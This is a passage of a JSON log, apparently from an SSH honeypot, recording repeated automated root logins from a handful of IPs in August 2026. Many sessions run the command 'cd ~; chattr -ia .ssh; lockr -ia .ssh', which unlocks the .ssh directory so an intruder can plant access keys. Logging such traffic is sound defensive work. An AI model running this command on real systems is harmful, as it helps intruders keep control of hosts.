  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb",
  "name": "genial-nautical-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:54.173175+00:00",
  "ended_at": "2026-08-27T12:23:55.165052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "08df2f51-54d1-4c35-ae9f-f6a520b52ca0",
  "name": "valiant-glacial-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 44666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:42.940114+00:00",
  "ended_at": "2026-08-27T12:23:44.192085+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4f90064b-960b-400b-9f25-4a883d22f38a",
  "name": "plush-primal-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:35.609298+00:00",
  "ended_at": "2026-08-27T12:23:37.010763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0062a03-d96f-4390-8073-908cfdfc2009",
  "name": "earnest-brave-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44694,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:28.016151+00:00",
  "ended_at": "2026-08-27T12:23:29.108055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3",
  "name": "fierce-sterling-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:13.209762+00:00",
  "ended_at": "2026-08-27T12:23:14.733002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b6a2f706-71bc-4b66-b0aa-c02cd5e0a2fa",
  "name": "hushed-forlorn-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:57.102309+00:00",
  "ended_at": "2026-08-27T12:22:58.981506+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "84d2a4e8-6fcc-4968-a1e4-a049d8e02664",
  "name": "russet-rugged-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:47.348913+00:00",
  "ended_at": "2026-08-27T12:21:48.544087+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "409f38cc-6831-4ef8-a575-98aa01aa17e5",
  "name": "rapid-frugal-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45978,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:32.977725+00:00",
  "ended_at": "2026-08-27T12:21:34.112758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a07ff39-e5fb-4ef1-8ae6-f25237994c11",
  "name": "arctic-airy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59582,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:15.821042+00:00",
  "ended_at": "2026-08-27T12:21:17.129068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42",
  "name": "feral-thawing-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:10.503023+00:00",
  "ended_at": "2026-08-27T12:21:12.216098+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "abc48663-ebb2-48cd-95e5-1257b94f7a0d",
  "name": "upland-crisp-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59598,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:57.617180+00:00",
  "ended_at": "2026-08-27T12:20:59.516048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e695520-55bd-4213-a27b-6412fa1745c7",
  "name": "burly-wooded-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 42468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:56.006166+00:00",
  "ended_at": "2026-08-27T12:20:57.246261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b8744b2-01e2-49be-bece-36ec39409a93",
  "name": "brisk-blithe-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40896,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:44.225424+00:00",
  "ended_at": "2026-08-27T12:19:45.643083+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b971e5de-b870-4572-a10d-ec65612c5d25",
  "name": "placid-curious-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:29.542825+00:00",
  "ended_at": "2026-08-27T12:19:30.247531+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "052656f7-0f3a-4553-91ff-893e15d0df4f",
  "name": "hushed-alpine-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:37.615119+00:00",
  "ended_at": "2026-08-27T12:13:38.850014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "fc2385d9-513b-4393-b0b4-6ca8f596ed2c",
  "name": "crisp-gleaming-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:22.238840+00:00",
  "ended_at": "2026-08-27T12:13:23.821651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094e7a1a-94b8-4321-8b66-12b7e420acef",
  "name": "wandering-jagged-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:12:36.364067+00:00",
  "ended_at": "2026-08-27T12:12:37.449473+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a794092-8f44-4700-b993-93994fedc00a",
  "name": "vigilant-loyal-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:21.769234+00:00",
  "ended_at": "2026-08-27T12:12:22.396094+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c391edc6-1849-44c2-accc-52206383b387",
  "name": "calm-cobalt-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59490,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:25.466051+00:00",
  "ended_at": "2026-08-27T12:10:26.800070+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2cebf8e2-48ac-4180-a403-6c2558213b56",
  "name": "dewy-ivory-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 34578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:11.214918+00:00",
  "ended_at": "2026-08-27T12:10:12.392297+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e4612bb1-cf0c-405e-bda3-2d4321be8388",
  "name": "fringed-amber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59496,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:07.219694+00:00",
  "ended_at": "2026-08-27T12:10:09.066654+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cee588af-453c-4b67-a80a-765a10a9c803",
  "name": "thrifty-reedy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:54.259468+00:00",
  "ended_at": "2026-08-27T12:09:56.046111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9f47f74-03c9-4ed8-88d9-75e2f9ccd405",
  "name": "polar-shaded-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41982,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 744,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:09:16.080070+00:00",
  "ended_at": "2026-08-27T12:09:17.503484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2e182b78-77f5-4567-8a64-7299dc4e6688",
  "name": "fleeting-whispering-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 45768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:52.774702+00:00",
  "ended_at": "2026-08-27T12:08:53.931073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba97293b-35e3-4029-98f9-b3d8dc862f73",
  "name": "mossy-whispering-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:07:30.593003+00:00",
  "ended_at": "2026-08-27T12:07:31.628401+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "e7c2e9db-44ae-4261-8c6c-ee98f3c6371b",
  "name": "solemn-fearless-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39742,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:10.994762+00:00",
  "ended_at": "2026-08-27T12:07:12.173496+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897bc932-7e0f-4cb1-bcd7-a13c7e8206ab",
  "name": "cobalt-jaunty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 48700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:31.484188+00:00",
  "ended_at": "2026-08-27T12:06:33.452428+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2293
 },
 {
  "id": "014bca2a-1a53-4df7-b3a5-fe28460e7c7f",
  "name": "arctic-velvet-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:06:17.019450+00:00",
  "ended_at": "2026-08-27T12:06:18.502373+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edbe3741-fa43-44ee-afff-dd246675910e",
  "name": "idle-mossy-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 50798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:22.495934+00:00",
  "ended_at": "2026-08-27T12:04:24.262453+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "8ae10f80-6137-47b5-9cd3-1224e63cb860",
  "name": "ancient-alpine-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:05.985837+00:00",
  "ended_at": "2026-08-27T12:04:07.565543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396",
  "name": "cosmic-subtle-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 54752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:01.262277+00:00",
  "ended_at": "2026-08-27T12:00:02.719823+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "90d3daf2-43a3-43e2-88a2-35b7360d1a22",
  "name": "vaulted-gleaming-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54758,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:37.915882+00:00",
  "ended_at": "2026-08-27T11:59:39.007733+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d53cdf74-acd9-4bbd-83fb-b23108eed00a",
  "name": "craggy-patient-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:00.026031+00:00",
  "ended_at": "2026-08-27T11:58:01.921668+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "e559eeb1-efb5-48b8-885e-353e483b85ff",
  "name": "deft-jagged-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55462,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:44.097534+00:00",
  "ended_at": "2026-08-27T11:57:45.591452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aae1788c-398f-4c09-8467-32195a70a5c0",
  "name": "amber-tidal-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 45858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:57:25.006006+00:00",
  "ended_at": "2026-08-27T11:57:26.484519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "884da7d8-fc5b-4176-97b4-118a783aff2e",
  "name": "drifting-tidal-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34570,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:03.217714+00:00",
  "ended_at": "2026-08-27T11:57:04.382131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d5d54b5-edc6-428e-9c7d-75a731c96b29",
  "name": "wistful-patient-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51392,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:55:38.100034+00:00",
  "ended_at": "2026-08-27T11:55:40.302328+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b5874258-8454-4d42-877b-e7d57c8fd228",
  "name": "lanky-graceful-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:14.082053+00:00",
  "ended_at": "2026-08-27T11:55:15.840017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa97e1aa-5e37-405e-b2e6-db81e26da46f",
  "name": "misty-downy-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59280,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:52.582483+00:00",
  "ended_at": "2026-08-27T11:53:53.880658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "49149378-e990-4c2e-9b75-a4bd2715635e",
  "name": "prairie-wistful-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:37.567910+00:00",
  "ended_at": "2026-08-27T11:53:39.758008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c2024bce-cea6-483a-b697-9cd8644c124a",
  "name": "humble-faded-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:35.607724+00:00",
  "ended_at": "2026-08-27T11:53:37.218370+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e0e2c68-f22a-40e2-968a-705639151b91",
  "name": "honest-boreal-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:11.236134+00:00",
  "ended_at": "2026-08-27T11:53:13.200883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faf1ed23-d01e-449e-a490-07bd77bfa5a5",
  "name": "whispering-woven-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:56.198137+00:00",
  "ended_at": "2026-08-27T11:51:58.401380+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "4f77e68e-6e5f-46a0-aa86-a1085e314e2d",
  "name": "opal-primal-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:37.270099+00:00",
  "ended_at": "2026-08-27T11:51:38.176813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "644e4b81-4b47-4b7d-8f6c-f861c58a1d6b",
  "name": "calm-wooded-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 32910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:46.426661+00:00",
  "ended_at": "2026-08-27T11:49:47.938006+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "1ef5b423-3b1a-4dd5-973b-494c225cb26a",
  "name": "hardy-crimson-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 32926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:30.648420+00:00",
  "ended_at": "2026-08-27T11:49:32.360918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "389c32c9-156e-4ee3-8363-321d6eea2cc4",
  "name": "shaded-placid-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 51716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 781,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:39.937153+00:00",
  "ended_at": "2026-08-27T11:48:41.766906+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "9cb710b9-e5a4-416f-bd72-06aa8320edb2",
  "name": "lively-rambling-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 36786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:18.236034+00:00",
  "ended_at": "2026-08-27T11:48:19.018264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00030452-c690-4616-bbdc-5492e2710ee0",
  "name": "graceful-glacial-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
